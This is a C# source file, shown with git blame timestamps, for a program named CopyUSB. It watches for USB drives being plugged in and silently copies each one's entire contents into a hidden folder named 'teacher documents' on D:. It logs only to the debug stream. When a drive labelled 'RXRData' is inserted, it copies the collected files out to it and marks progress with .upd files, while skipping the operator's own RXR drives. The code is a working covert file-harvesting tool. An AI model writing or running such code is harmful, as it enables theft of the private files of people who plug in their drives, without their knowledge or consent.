CopyUSB/Program.cs

136 lines
3.8 KiB
C#
Raw Permalink Normal View History

2023-10-01 10:12:37 +00:00
using CopyUSB;
2023-10-13 16:29:15 +00:00
using CopyUSB.MyDB;
using System.Diagnostics;
2023-10-01 10:12:37 +00:00
using System.Management;
2023-10-13 16:29:15 +00:00
static string GetVolumeLabel(string driveName)
2023-10-01 10:12:37 +00:00
{
2023-10-13 16:29:15 +00:00
try
{
DriveInfo driveInfo = new DriveInfo(driveName);
return driveInfo.VolumeLabel.Length == 0 ? "default" : driveInfo.VolumeLabel;
}
catch (Exception)
{
return "default";
}
2023-10-01 10:12:37 +00:00
}
2023-10-13 16:29:15 +00:00
string query = "SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2";
2023-10-01 10:12:37 +00:00
2023-10-13 16:29:15 +00:00
ManagementEventWatcher managementEventWatcher = new(query);
2023-10-01 10:12:37 +00:00
2023-10-14 13:55:20 +00:00
Debug.WriteLine("Waiting for USB...,take usb: RXRData");
2023-10-01 10:12:37 +00:00
2023-10-13 16:29:15 +00:00
managementEventWatcher.EventArrived += (s, e) =>
{
2023-10-14 04:57:12 +00:00
try
{
/*Console.WriteLine("触发器被触发了");*/
string driveName = e.NewEvent.Properties["DriveName"].Value.ToString();
2023-10-01 10:12:37 +00:00
2023-10-12 11:20:24 +00:00
2023-10-14 04:57:12 +00:00
Debug.WriteLine(driveName);
2023-10-14 13:55:20 +00:00
2023-10-14 04:57:12 +00:00
var dataDir = new DirectoryInfo(Path.Join("D:", "老师文档"));
2023-10-14 13:55:20 +00:00
if (GetVolumeLabel(driveName) == "RXRData")
2023-10-12 11:20:24 +00:00
{
2023-10-14 04:57:12 +00:00
Debug.WriteLine("检测到拷出USB");
if (!dataDir.Exists)
{
dataDir.Create();
}
long doneNum = 0;
var copyTask = Task.Run(() =>
{
FileCopy.SimpleCopy(Path.Join(driveName, "FILE", "USBCopy"), Path.Join("D:", "老师文档"), ref doneNum);
});
var planPrint = Task.Run(() =>
{
try
2023-10-14 04:57:12 +00:00
{
Debug.WriteLine("scanning and get totle num");
var fileNumber = FileCopy.DicFileNum(Path.Join("D:", "老师文档"));
Debug.WriteLine("scanned ok and get totle num");
Debug.WriteLine($"{doneNum} {fileNumber} {((int)((float)doneNum / (float)fileNumber * 100) < 0 ? 100 : (int)((float)doneNum / (float)fileNumber * 100))}.upd");
while (!copyTask.IsCompleted)
2023-10-14 04:57:12 +00:00
{
var usbRoot = new DirectoryInfo(driveName);
if (usbRoot.GetFiles().Where(w => w.Name == $"{((int)((float)doneNum / (float)fileNumber * 100) < 0 ? 100 : (int)((float)doneNum / (float)fileNumber * 100))}.upd").ToArray().Length != 1)
{
var oldPrint = usbRoot.GetFiles().Where(w => w.Name.EndsWith(".upd")).ToArray();
Debug.WriteLine(doneNum.ToString());
foreach (var file in oldPrint)
{
file.Delete();
}
}
var newPrint = new FileInfo(Path.Join(driveName, $"{((int)((float)doneNum / (float)fileNumber * 100) < 0 ? 100 : (int)((float)doneNum / (float)fileNumber * 100))}.upd"));
var nPStream = newPrint.Create();
nPStream.Close();
Thread.Sleep(1000);
}
{
var usbRoot = new DirectoryInfo(driveName);
2023-10-14 04:57:12 +00:00
var oldPrint = usbRoot.GetFiles().Where(w => w.Name.EndsWith(".upd")).ToArray();
Debug.WriteLine(doneNum.ToString());
foreach (var file in oldPrint)
{
file.Delete();
}
var newPrint = new FileInfo(Path.Join(driveName, $"{((int)((float)doneNum / (float)fileNumber * 100) < 0 ? 100: (int)((float)doneNum / (float)fileNumber * 100))}.upd"));
var nPStream = newPrint.Create();
nPStream.Close();
2023-10-13 16:29:15 +00:00
}
}catch(Exception ex)
{
Debug.WriteLine(ex.ToString());
}
2023-10-14 04:57:12 +00:00
});
2023-10-13 16:29:15 +00:00
2023-10-14 04:57:12 +00:00
Task.WaitAll(copyTask, planPrint);
Debug.WriteLine("-----Copy out OK---------");
return;
}
2023-10-14 13:55:20 +00:00
if (GetVolumeLabel(driveName).StartsWith("RXR"))
{
Debug.WriteLine("-----It's my USB-----");
return;
}
2023-10-14 04:57:12 +00:00
string dPath = Path.Join("D:", "老师文档", GetVolumeLabel(driveName));
2023-10-13 16:29:15 +00:00
2023-10-14 04:57:12 +00:00
Debug.WriteLine($"Detected: {driveName} || Save To -> : {dPath}");
2023-10-01 13:07:25 +00:00
2023-10-14 04:57:12 +00:00
if (!Directory.Exists(dPath))
{
Directory.CreateDirectory(dPath);
}
FileCopy.Copy(driveName, dPath);
2023-10-14 04:57:12 +00:00
/*Console.WriteLine($"元素个数{sortedList.Count()}");*/
Debug.WriteLine("\n--------------Scaned and waiting--------------\n");
}catch(Exception ex)
{
Debug.WriteLine(ex.ToString());
}
2023-10-13 16:29:15 +00:00
};
2023-10-13 16:29:15 +00:00
managementEventWatcher.Start();
2023-10-01 13:07:25 +00:00
2023-10-13 16:29:15 +00:00
// 让程序保持运行状态
while (true)
2023-10-01 13:07:25 +00:00
{
2023-10-13 16:29:15 +00:00
Thread.Sleep(1000);
/*Console.WriteLine("一次休眠周期");*/
2023-10-01 13:07:25 +00:00
}